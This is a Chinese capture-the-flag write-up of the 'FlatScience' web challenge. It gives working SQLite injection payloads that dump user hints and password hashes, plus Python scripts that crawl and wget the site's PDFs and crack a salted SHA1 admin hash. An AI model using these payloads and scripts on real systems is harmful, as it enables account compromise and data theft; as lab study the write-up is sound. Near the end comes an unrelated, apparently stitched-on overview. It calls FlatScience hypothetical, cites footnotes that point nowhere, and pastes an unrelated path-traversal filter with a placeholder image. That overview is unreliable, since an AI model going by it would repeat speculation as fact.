Web(FlatScience)

题目描述:

(1)暂时看不出来是什么类型的题目,采用御剑扫描后台,扫描网址,扫描到四个文件。

 (2)依次打开几个网址,在admin和login页面都有登陆界面,但是在admin源代码中,有提示并不能通过一些通过该界面。

 (3)主要针对login.php进行渗透操作,

 (4)根据提示,构造payload: 111.200.241.244:53862/login.php?debug 发现有特殊回显

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

(5)上述代码提示采用的数据库为SQLite。

sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

(6)尝试SQL注入,发现有错误页面,可以推测为单引号字符型注入。

(7) 进一步操作,爆出具体字段数,具体为2。

1' order by 2--+   //回显正常
1' order by 3--+   //回显错误

usr=1' union select 1,2 from sqlite_master--+&pw=123456===》回显为2,可以知道回显为第二位。

 (8)在这里采用burpsuite修改数据包内容来进行SQL注入,根据字段为2 继续构造payload:

usr = 1' union select name,sql from sqlite_master--+&pw=123456

回显如下图返回了一张表

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

 (9)继续爆破,猜测flag在hint字段中,构造payload:usr=1' union select 1,group_concat(hint) from users--+&pw=123456

 返回信息为

+my+fav+word+in+my+fav+paper%3F%21%2Cmy+love+is%E2%80%A6%3F%2Cthe+password+is+password;

解码为

 my fav word in my fav paper?!,my love is…?,the password is password;

 由于该字段没有具体的含义指明flag,因此继续查看其他字段的值。

usr=1' union select 1,group_concat(id) from users--+&pw=123456
usr=1' union select 1,group_concat(name) from users--+&pw=123456
usr=1' union select 1,group_concat(password) from users--+&pw=123456

 将上述回显信息,统计为表格,需要注意的是回显信息是经过url编码的数据,所以要得到原数据,需要将其解码。

idhintnamepassword
1 my fav word in my fav paper?!admin3fab54a50e770d830c0416df817567662a9dc85c
2my love is…?fritze54eae8935c90f467427f05e4ece82cf569f89507
3,the password is passwordChansi34b0bb7c304949f9ff2fc101eef0f048be10d3bd

python爬虫代码:

import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://111.200.241.244:62524/')
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)

from io import StringIO
#coding:utf-8
# python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos = set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password, caching=caching,
                                  check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./" + i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8') + 'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print("Find the password :" + word)
                exit()


if __name__ == "__main__":
    find_password()

 

代码运行结果:ThinJerboa

 最后输入网页的结果

参考链接:攻防世界web进阶区FlatScience详解 - 云+社区 - 腾讯云

                   攻防世界Web:FlatScience_dofd的博客-优快云博客

### 关于 FlatScience 的概述 FlatScience 是一种假设的技术平台或工具名称,在当前已知的信息中并未具体提及其实现细节或功能范围。然而,基于所提供的引用内容以及常见的 IT 技术背景分析,可以推测该平台可能涉及 Web 安全测试、文件操作权限管理等领域。 在引用的内容中提到的 URL 和 PHP 源码片段表明可能存在某种安全漏洞利用场景[^1]。例如,通过构造特定参数来执行命令或者绕过文件路径限制访问敏感数据的行为,这通常属于渗透测试或安全研究范畴内的活动。而 `showing.php` 文件中的逻辑则展示了一种基本的安全防护机制设计思路——通过对输入变量 `$f` 进行多重校验以防止恶意路径穿越攻击的发生[^2]。 如果我们将这些概念映射到一个名为 “FlatScience” 的虚拟平台上,则可认为它可能是用于教育目的的教学型框架或者是实际应用于生产环境下的某类应用服务端程序之一部分实现方案而已;当然也有可能只是单纯作为案例演示存在而已,并无真实产品形态对应之物。 以下是关于此类技术和工具的一些补充说明: - **Web 应用安全性评估**:像上述例子那样针对潜在风险点进行深入剖析并采取相应措施加固系统是非常重要的工作环节。 - **编码实践规范的重要性**:从源代码可见开发者试图过滤掉可能导致危险行为的关键字符组合(如 "..", "/", "\", "pctf"),这是良好编程习惯的一部分体现形式。 - **自动化扫描与手动审查相结合的方式**:为了更全面有效地发现隐藏缺陷所在之处,往往需要借助专门开发出来的脚本程序配合人工经验来进行综合判断处理过程才行得通。 ```php <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..') === FALSE && stripos($f,'/') === FALSE && stripos($f,'\\') === FALSE && stripos($f,'pctf') === FALSE) { readfile($f); } else { echo "File not found!"; } } ?> ``` 此段PHP代码展示了如何验证用户请求参数的有效性和合法性之后再决定是否允许读取指定资源的操作流程图解示意如下所示: ![Flowchart](https://via.placeholder.com/500x300) 尽管如此,“FlatScience”的确切定义仍需进一步澄清才能给出更为精准详尽的回答结果出来呢!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值